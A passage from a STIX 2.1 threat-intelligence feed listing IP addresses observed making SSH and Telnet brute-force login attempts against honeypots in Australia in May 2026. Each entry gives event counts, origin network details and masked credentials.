      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 6810. Organisation(s): Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD..",
      "id": "indicator--e415856f-f7b5-48bb-930d-5de98c464e8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.235.201.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e2d849a8-2028-4775-83c9-8a85a00e6a5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.117.61.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 210457. Organisation(s): Kyonix Networks Limited.",
      "id": "indicator--7a12eaa8-bbb2-428d-a1ea-088682daacc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.26.252.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134420. Organisation(s): Chongqing Telecom. Usernames observed (masked): ***, p******s, u****u. Passwords observed (masked): g*********8, p**********2, t**********8.",
      "id": "indicator--a2ff0dbf-18ad-4e32-9f79-a52d862f4f76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '219.151.187.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation. Usernames observed (masked): t**t. Passwords observed (masked): t********r.",
      "id": "indicator--003cb77f-0a6f-46ed-b35f-c1aecc395d77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.123.126.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--451d3e88-30fa-4dd0-9f5e-84a68fa93dc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.128.81.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--13803d6d-876d-4a02-a307-6d17a862a5b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.173.122.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--2d571f8e-14d9-435f-a6d0-21be1b4c4777",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 9009. Organisation(s): M247 Europe SRL. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, r********6.",
      "id": "indicator--ba40601e-141c-47ae-b4ed-21ef87e24eb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.121.123.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 52148. Organisation(s): Enix Ltd.",
      "id": "indicator--00145a1e-2fc6-48b6-a15b-66fa805caa6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.204.208.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 153252. Organisation(s): ELXIRE.",
      "id": "indicator--203576e6-4855-48ed-b89c-6b6038a814b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.93.179.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:15:05.000Z",
      "valid_until": "2026-06-08T08:15:03.000Z"
    },
    {
      "created": "2026-05-07T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--db3e226f-2721-47ef-b5b5-a59baa89c9cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.151.79.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:15:05.000Z",
      "valid_until": "2026-06-08T08:15:03.000Z"
    },
    {
      "created": "2026-05-07T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 23860. Organisation(s): Alliance Broadband Services Pvt. Ltd..",
      "id": "indicator--077bcfc0-1b84-4fbb-a0eb-1ea92e7ce0a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.129.103.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:15:05.000Z",
      "valid_until": "2026-06-08T08:15:03.000Z"
    },
    {
      "created": "2026-05-07T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 7562. Organisation(s): HCN Dongjak.",
      "id": "indicator--c3c6ea95-6864-401b-98d9-f153c20f2054",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.172.217.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:15:05.000Z",
      "valid_until": "2026-06-08T08:15:03.000Z"
    },
    {
      "created": "2026-05-07T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 46198. Organisation(s): Trilogy Dominicana, S.A..",
      "id": "indicator--fa90e80a-7de5-4ed9-9192-dd59f90e981e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.0.81.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:15:05.000Z",
      "valid_until": "2026-06-08T08:15:03.000Z"
    },
    {
      "created": "2026-05-07T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--b71a5875-ac4c-477b-9f09-971de5cd1914",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.188.193.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:15:05.000Z",
      "valid_until": "2026-06-08T08:15:03.000Z"
    },
    {
      "created": "2026-05-07T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MN. ASN(s): 55805. Organisation(s): MobiCom Corporation.",
      "id": "indicator--79ce6895-54d3-43c6-8681-2f3616803ae4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.126.90.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:15:05.000Z",
      "valid_until": "2026-06-08T08:15:03.000Z"
    },
    {
      "created": "2026-05-07T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--e2ae25fc-9734-4aa1-a052-ab01969717ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.169.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:15:05.000Z",
      "valid_until": "2026-06-08T08:15:03.000Z"
    },
    {
      "created": "2026-05-07T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--c28643e9-25aa-4d57-8a52-89ed858c4b87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:15:05.000Z",
      "valid_until": "2026-06-08T08:15:03.000Z"
    },
    {
      "created": "2026-05-07T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 12488. Organisation(s): Krystal Hosting Ltd.",
      "id": "indicator--22553c89-79db-4999-9d36-28b3dfd28967",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.72.5.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:15:05.000Z",
      "valid_until": "2026-06-08T08:15:03.000Z"
    },
    {
      "created": "2026-05-07T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11351. Organisation(s): Charter Communications Inc.",
      "id": "indicator--4653d657-0dd9-422d-9e04-623803cf9ff0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '98.10.17.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:15:05.000Z",
      "valid_until": "2026-06-08T08:15:03.000Z"
    },
    {
      "created": "2026-05-07T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--592bcd23-8460-468a-845c-219b336b59a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.96.31.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T09:15:10.000Z",
      "valid_until": "2026-06-08T09:15:08.000Z"
    },
    {
      "created": "2026-05-07T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--76f6401b-a1ed-4fe7-93df-a30eed089690",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.48.217.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T09:15:10.000Z",
      "valid_until": "2026-06-08T09:15:08.000Z"
    },
    {
      "created": "2026-05-07T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): f*****r. Passwords observed (masked): f*********d.",
      "id": "indicator--635571ad-be20-4070-8472-dd4171203bf4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T09:15:10.000Z",
      "valid_until": "2026-06-08T09:15:08.000Z"
    },
    {
      "created": "2026-05-07T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 22927. Organisation(s): Telefonica de Argentina.",
      "id": "indicator--f0aeadb9-c404-483a-9478-f539852441ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.26.115.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T09:15:10.000Z",
      "valid_until": "2026-06-08T09:15:08.000Z"
    },
    {
      "created": "2026-05-07T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--a4a87fbf-50d7-4705-9816-fe2fe5a62b02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.212.245.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T09:15:10.000Z",
      "valid_until": "2026-06-08T09:15:08.000Z"
    },
    {
      "created": "2026-05-07T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--086b0929-ddd5-4612-87d6-646fcc99af9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.134.94.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T09:15:10.000Z",
      "valid_until": "2026-06-08T09:15:08.000Z"
    },
    {
      "created": "2026-05-07T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MZ. ASN(s): 30619. Organisation(s): TMCEL-Mocambique.",
      "id": "indicator--a89254ae-bb3f-4224-8491-7eaf51e8c7c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.220.201.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T09:15:10.000Z",
      "valid_until": "2026-06-08T09:15:08.000Z"
    },
    {
      "created": "2026-05-07T10:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--f619a51d-806a-4632-b1d4-27df374f79e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T10:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T10:15:31.000Z",
      "valid_until": "2026-06-08T10:15:03.000Z"
    },
    {
      "created": "2026-05-07T10:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--47511425-c422-457a-b5d3-8b719fe1f461",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T10:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T10:15:31.000Z",
      "valid_until": "2026-06-08T10:15:03.000Z"
    },
    {
      "created": "2026-05-07T10:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc. Usernames observed (masked): A*******************p, G************1, U***********************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--958ea341-65c5-45e2-bbad-fd0bd9f63437",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T10:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T10:15:31.000Z",
      "valid_until": "2026-06-08T10:15:03.000Z"
    },
    {
      "created": "2026-05-07T10:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--65af9c6e-415e-43d5-83ed-ee2e8fdbec28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T10:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T10:15:31.000Z",
      "valid_until": "2026-06-08T10:15:03.000Z"
    },
    {
      "created": "2026-05-07T10:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--ccb46cca-679c-44f6-a669-915a4292c90e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T10:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.57.13.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T10:15:31.000Z",
      "valid_until": "2026-06-08T10:15:03.000Z"
    },
    {
      "created": "2026-05-07T10:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********0, H**********************3.",
      "id": "indicator--013258b2-8d74-4826-a5b2-0e1dda92e0a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T10:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.77.148.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T10:15:31.000Z",
      "valid_until": "2026-06-08T10:15:03.000Z"
    },
    {
      "created": "2026-05-07T10:15:31.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): a***n, t******r, 3**********4, l***r, m*******t. Passwords observed (masked): 1****1, 3***********4, 3**********4, 7*****7, A******6.",
      "id": "indicator--ae939412-ca74-40e0-bb4d-b647b9c819a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T10:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.72.55.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T10:15:31.000Z",
      "valid_until": "2026-06-08T10:15:03.000Z"
    },
    {
      "created": "2026-05-07T10:15:31.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 44050. Organisation(s): Petersburg Internet Network ltd..",
      "id": "indicator--6face142-5525-47fe-9bfc-ce797db0f2cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T10:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.215.0.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T10:15:31.000Z",
      "valid_until": "2026-06-08T10:15:03.000Z"
    },
    {
